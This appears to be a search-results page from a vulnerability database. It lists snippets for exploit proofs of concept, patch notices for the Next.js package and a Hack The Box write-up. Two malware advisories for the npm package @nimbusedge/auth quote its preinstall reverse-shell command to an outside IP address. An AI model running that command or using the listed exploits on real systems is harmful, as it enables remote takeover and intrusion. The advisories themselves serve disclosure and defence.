1433597 matches found
CVE-2025-5781
FreePBX CVE-2025-57819 Exploit Description This script exploits a vulnerability in FreePBX versions prior to 16.0.26.0 CVE-2025-57819, allowing remote attackers to execute arbitrary PHP code via a SQL injection flaw in the AJAX API endpoint. The exploit creates both a webshell and an auto-trigger...
CVE-2025-49493
Akamai CloudTest XXE Exploit CVE-2025-49493 Overview This is a Python-based exploit for CVE-2025-49493 , which affects Akamai CloudTest versions before 60 2025.06.02 12988. The vulnerability allows for XML External Entity XXE injection through the SOAP service endpoint. Vulnerability Details CVE ...
CVE-2023-48084-Revised
CVE-2023-48084 — updated PoC Repository: MettHK/CVE-2023-48084-Revised Updated version of Hamibubu/CVE-2023-48084 with multithreading, binary-search extraction, and CLI flags for database / table / column selection. Not the original repository. This is a derivative/improved PoC. Credit for the...
CVE-2023-0156
ID de CVE : CVE-2023-0156 Tipo de vulnerabilidad : Recorrido de directorios Descripción : El complemento All-In-One Security AIOS para WordPress es vulnerable a un recorrido de directorios en versiones hasta, e incluyendo, la 5.1.4. Esto permite a atacantes autenticados con permisos de nivel...
CVE-2023-41898_Lab
CVE-2023-41898 Unvalidated Deep Link Lab This is an educational, reduced-scope reproduction Lab built based on the public vulnerability report GHSL-2023-142 for Home Assistant Companion for Android and the open-source structure of the vulnerable version 2023.8.2. It does not use a real Home...
CVE-2019-10392_EXP
CVE-2019-10392EXP Jenkins Git Client Authenticated RCE CVE-2019-10392Exp Usage root@kitploit: usage: Jenkins Git Client 2.8.2. -h -u TARGET -U USERNAME -P PASSWORD -i ITEM -I INTERACTIVE -c COMMAND optional arguments: -h, --help show this help message and exit -u TARGET, --target TARGET Target. -...
WP2Shell
WP2Shell - WordPress Pre-Auth RCE Exploit CVE-2026-63030 + CVE-2026-60137 Version: 4.0.0 Author: G0D150NE 📌 Overview WP2Shell is a full-chain exploit tool for WordPress pre-authentication remote code execution. It combines two critical vulnerabilities: CVE-2026-63030 - SQL Injection in REST API...
ROOT-APP-NPM-CVE-2026-64645 CVE-2026-64645 in next - Patched by Root
Root has patched CVE-2026-64645 in the next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-GHSA-5J59-XGG2-R9C4 GHSA-5j59-xgg2-r9c4 in next - Patched by Root
Root has patched GHSA-5j59-xgg2-r9c4 in the next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2026-44573 CVE-2026-44573 in next - Patched by Root
Root has patched CVE-2026-44573 in the next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2024-51479 CVE-2024-51479 in next - Patched by Root
Root has patched CVE-2024-51479 in the next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2024-46982 CVE-2024-46982 in next - Patched by Root
Root has patched CVE-2024-46982 in the next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-GHSA-Q4GF-8MX6-V5V3 GHSA-q4gf-8mx6-v5v3 in next - Patched by Root
Root has patched GHSA-q4gf-8mx6-v5v3 in the next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2025-29927 CVE-2025-29927 in next - Patched by Root
Root has patched CVE-2025-29927 in the next package for Root:npm. Multiple fixed versions available...
HTB-TwoMillion-machine
Hack The Box - TwoMillion Writeup Overview This repository contains my walkthrough for the Hack The Box - TwoMillion machine. The goal of this writeup is to document my methodology, explain the enumeration process, and demonstrate the exploitation chain that led to both User and Root access...
Malicious code in @nimbusedge/auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...
MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...
CVE-2026-55040
Microsoft SharePoint JWT Authentication Bypass CVE-2026-55040 Overview CVE-2026-55040.py is a proof-of-concept script to leverage the SharePoint authentication bypass vulnerability, CVE-2026-55040. For a full technical analysis, see our Rapid7 Analysis. Usage root@kitploit: $ python...